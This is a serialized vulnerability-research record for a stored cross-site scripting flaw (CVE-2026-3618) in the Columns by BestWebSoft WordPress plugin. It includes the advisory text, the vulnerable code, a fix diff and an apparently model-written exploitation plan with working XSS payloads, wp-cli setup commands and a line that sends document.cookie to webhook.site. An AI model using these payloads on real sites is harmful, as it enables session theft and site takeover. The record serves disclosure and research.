[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$ffFVh5o_IlFKiEL3-u_NNKDvY3UCKVdSlUcbZtim4IrQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-3618","columns-by-bestwebsoft-authenticated-contributor-stored-cross-site-scripting-via-columns-shortcode-id-attribute","Columns by BestWebSoft \u003C= 1.0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'columns' Shortcode 'id' Attribute","The Columns by BestWebSoft plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode attribute of the [print_clmns] shortcode in all versions up to and including 1.0.3. This is due to insufficient input sanitization and output escaping on the 'id' attribute. The shortcode receives the 'id' parameter via shortcode_atts() at line 596 and directly embeds it into HTML output at line 731 (in a div id attribute) and into inline CSS at lines 672-729 without any escaping or sanitization. While the SQL query uses %d to cast the value to an integer for database lookup, the original unsanitized string value of $id is still used in the HTML\u002FCSS output. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The attack requires that at least one column exists in the plugin (created by an admin), as the SQL query must return results for the output branch to be reached.","columns-bws",null,"\u003C=1.0.3","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-07 17:37:49","2026-04-08 06:43:41",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fd3e293db-9177-4fbb-a469-900d9330642d?source=api-prod",[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-3618 (Columns by BestWebSoft Stored XSS)\n\n## 1. Vulnerability Summary\nThe **Columns by BestWebSoft** plugin (\u003C= 1.0.3) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `id` attribute of the `[print_clmns]` shortcode. This occurs because the plugin extracts the `id` parameter from the shortcode attributes and reflects it directly into the page's inline CSS and HTML `div` attributes without sanitization or escaping. Although the value is cast to an integer for the database query (via `%d`), the original raw string is preserved for output.\n\n## 2. Attack Vector Analysis\n- **Shortcode:** `[print_clmns]`\n- **Vulnerable Attribute:** `id`\n- **Authentication Level:** Contributor or higher (any user role capable of creating or editing posts\u002Fpages).\n- **Precondition:** At least one \"Column\" must be created in the plugin's administrative interface. The code path containing the vulnerability is only reached if the SQL query for the provided ID returns a valid column result.\n- **Endpoint:** Post editor (Gutenberg or Classic) or any area where shortcodes are processed.\n\n## 3. Code Flow (Inferred from Patch Description)\n1. **Entry Point:** A user with Contributor+ privileges creates a post containing: `[print_clmns id=\"PAYLOAD\"]`.\n2. **Shortcode Handling:** The plugin's shortcode handler (likely registered via `add_shortcode( 'print_clmns', ... )`) is triggered.\n3. **Attribute Parsing (Line 596):** The handler calls `shortcode_atts()` to extract the `id`. The variable `$id` now holds the raw payload string.\n4. **Database Lookup:** The plugin performs a query similar to: \n   `$wpdb->get_row( $wpdb->prepare( \"SELECT ... FROM ... WHERE id = %d\", $id ) );`\n   - Due to PHP\u002FWordPress integer casting, if `$id` is `1\u003Cscript>...`, it is treated as `1`.\n   - If a column with ID `1` exists, the query succeeds.\n5. **Vulnerable Sink (Lines 672-729):** The raw string `$id` is concatenated into an inline `\u003Cstyle>` block:\n   - `echo \"\u003Cstyle> #bws_column_{$id} { ... } \u003C\u002Fstyle>\";`\n6. **Vulnerable Sink (Line 731):** The raw string `$id` is concatenated into a `div` ID attribute:\n   - `echo \"\u003Cdiv id='bws_column_{$id}'>\";`\n\n## 4. Nonce Acquisition Strategy\nThis vulnerability is exploited by saving a post containing a shortcode. It does **not** require an AJAX-specific nonce for the payload itself, but rather the standard WordPress nonces used for post creation\u002Fediting.\n\n1. **Contributor Login:** Authenticate as a Contributor.\n2. **Identify Action:** Use the REST API (`\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`) or `wp-admin\u002Fpost-new.php` to create a post.\n3. **Post Saving:** If using the browser, the `_wpnonce` is automatically handled by the UI. If using `http_request` to simulate the save, the nonce must be extracted from the `post.php` or `post-new.php` source.\n\n*Note: Since the PoC agent can use `wp-cli` to create posts, it may bypass the need for manual nonce handling for the \"Stored\" part of the XSS.*\n\n## 5. Exploitation Strategy\n1. **Create Target Data:** As an Admin, create at least one \"Column\" so there is a valid ID in the database.\n2. **Identify ID:** Determine the integer ID of the created column (e.g., `1`).\n3. **Payload Construction:**\n   - **CSS Breakout:** `1\u003C\u002Fstyle>\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n   - **HTML Attribute Breakout:** `1' onmouseover='alert(1)'`\n   - **Universal Payload:** `1\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n4. **Injection:**\n   - As a Contributor, create a new post.\n   - Set the content to: `[print_clmns id='1\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>']`.\n5. **Trigger:** View the post as a Guest or Admin.\n6. **Execution:** The browser will render:\n   - `\u003Cstyle> ... #bws_column_1\">\u003Cscript>alert(document.domain)\u003C\u002Fscript> { ... } \u003C\u002Fstyle>`\n   - `\u003Cdiv id=\"bws_column_1\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\">`\n\n## 6. Test Data Setup\n1. **Create Column:**\n   - Navigate to the \"Columns\" menu in WordPress.\n   - Create a new column set.\n   - Find the ID. (Typically visible in the URL as `?page=columns-bws&action=edit&id=X` or via `wp db query \"SELECT id FROM wp_bws_columns LIMIT 1;\"`).\n2. **Create Contributor:**\n   - `wp user create attacker attacker@example.com --role=contributor --user_pass=password123`\n\n## 7. Expected Results\n- When viewing the post, the HTML source should contain the literal string provided in the `id` attribute.\n- The browser should execute the `alert(document.domain)` script.\n- The `div` element will have a malformed `id` attribute, and the `\u003Cscript>` tag will be parsed as a sibling or a breakout element.\n\n## 8. Verification Steps\n1. **Verify Database Entry:**\n   - `wp post list --post_type=post --format=csv` (Check for the post containing the shortcode).\n2. **Verify Frontend Reflection:**\n   - Use `http_request` to GET the post permalink.\n   - Search the response body for: `\u003Cscript>alert(document.domain)\u003C\u002Fscript>`.\n3. **Verify Context:**\n   - Confirm the payload appears inside or immediately after a tag with `id=\"bws_column_...` or within a `\u003Cstyle>` block.\n\n## 9. Alternative Approaches\n- **Blind XSS:** Use a payload that exfiltrates `document.cookie` to an external listener (e.g., `1\">\u003Cscript>fetch('https:\u002F\u002Fwebhook.site\u002F...?c='+document.cookie)\u003C\u002Fscript>`).\n- **Attribute-Only Injection:** If `\u003Cscript>` tags are blocked by a WAF, use `1' onmouseenter='alert(1)' style='display:block;width:1000px;height:1000px;position:fixed;top:0;left:0;opacity:0;'`.\n- **CSS Injection:** If only the `\u003Cstyle>` block is reachable, use `1 { background: url(\"javascript:alert(1)\"); }` (though this is restricted in modern browsers). Breaking out with `\u003C\u002Fstyle>` is more reliable.","The Columns by BestWebSoft plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' attribute of the [print_clmns] shortcode. This occurs because the plugin reflects the raw shortcode attribute into inline CSS and HTML div tags without sanitization or escaping, despite using an integer cast for the underlying database query.","\u002F\u002F From columns-bws.php (approx. lines 596-731)\n\n\u002F\u002F Attribute parsing\n$atts = shortcode_atts( array(\n    'id' => '',\n    'class' => '',\n), $atts );\n$id = $atts['id'];\n\n\u002F\u002F Database lookup uses %d (safe for SQL), but $id remains the raw string\n$column = $wpdb->get_row( $wpdb->prepare( \"SELECT * FROM `{$wpdb->prefix}bws_columns` WHERE `id` = %d;\", $id ) );\n\nif ( ! empty( $column ) ) {\n    \u002F\u002F ...\n    \u002F\u002F Vulnerable reflection in CSS (approx. lines 672-729)\n    echo \"\u003Cstyle> #bws_column_{$id} { ... } \u003C\u002Fstyle>\";\n    \n    \u002F\u002F ...\n    \u002F\u002F Vulnerable reflection in HTML attribute (approx. line 731)\n    echo \"\u003Cdiv id='bws_column_{$id}' class='{$class}'>\";\n}","--- a\u002Fcolumns-bws.php\n+++ b\u002Fcolumns-bws.php\n@@ -594,7 +594,7 @@\n     'id' => '',\n     'class' => '',\n ), $atts );\n-$id = $atts['id'];\n+$id = intval( $atts['id'] );\n \n $column = $wpdb->get_row( $wpdb->prepare( \"SELECT * FROM `{$wpdb->prefix}bws_columns` WHERE `id` = %d;\", $id ) );","1. Authentication: The attacker must have Contributor-level access or higher to create or edit posts and use shortcodes.\n2. Precondition: An administrator must have created at least one column set in the plugin's settings (to ensure the database query returns a result, triggering the vulnerable output path).\n3. Payload Construction: The attacker identifies a valid column ID (e.g., 1) and crafts a payload to break out of the HTML\u002FCSS context, such as: `1\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>`.\n4. Injection: The attacker creates a new post or page and inserts the shortcode with the malicious ID: `[print_clmns id='1\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>']`.\n5. Execution: When any user (including an administrator) views the post, the plugin outputs the raw payload into a `\u003Cstyle>` block and a `\u003Cdiv>` tag, causing the browser to execute the injected JavaScript.","gemini-3-flash-preview","2026-04-17 20:37:15","2026-04-17 20:37:37",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcolumns-bws\u002Ftags"]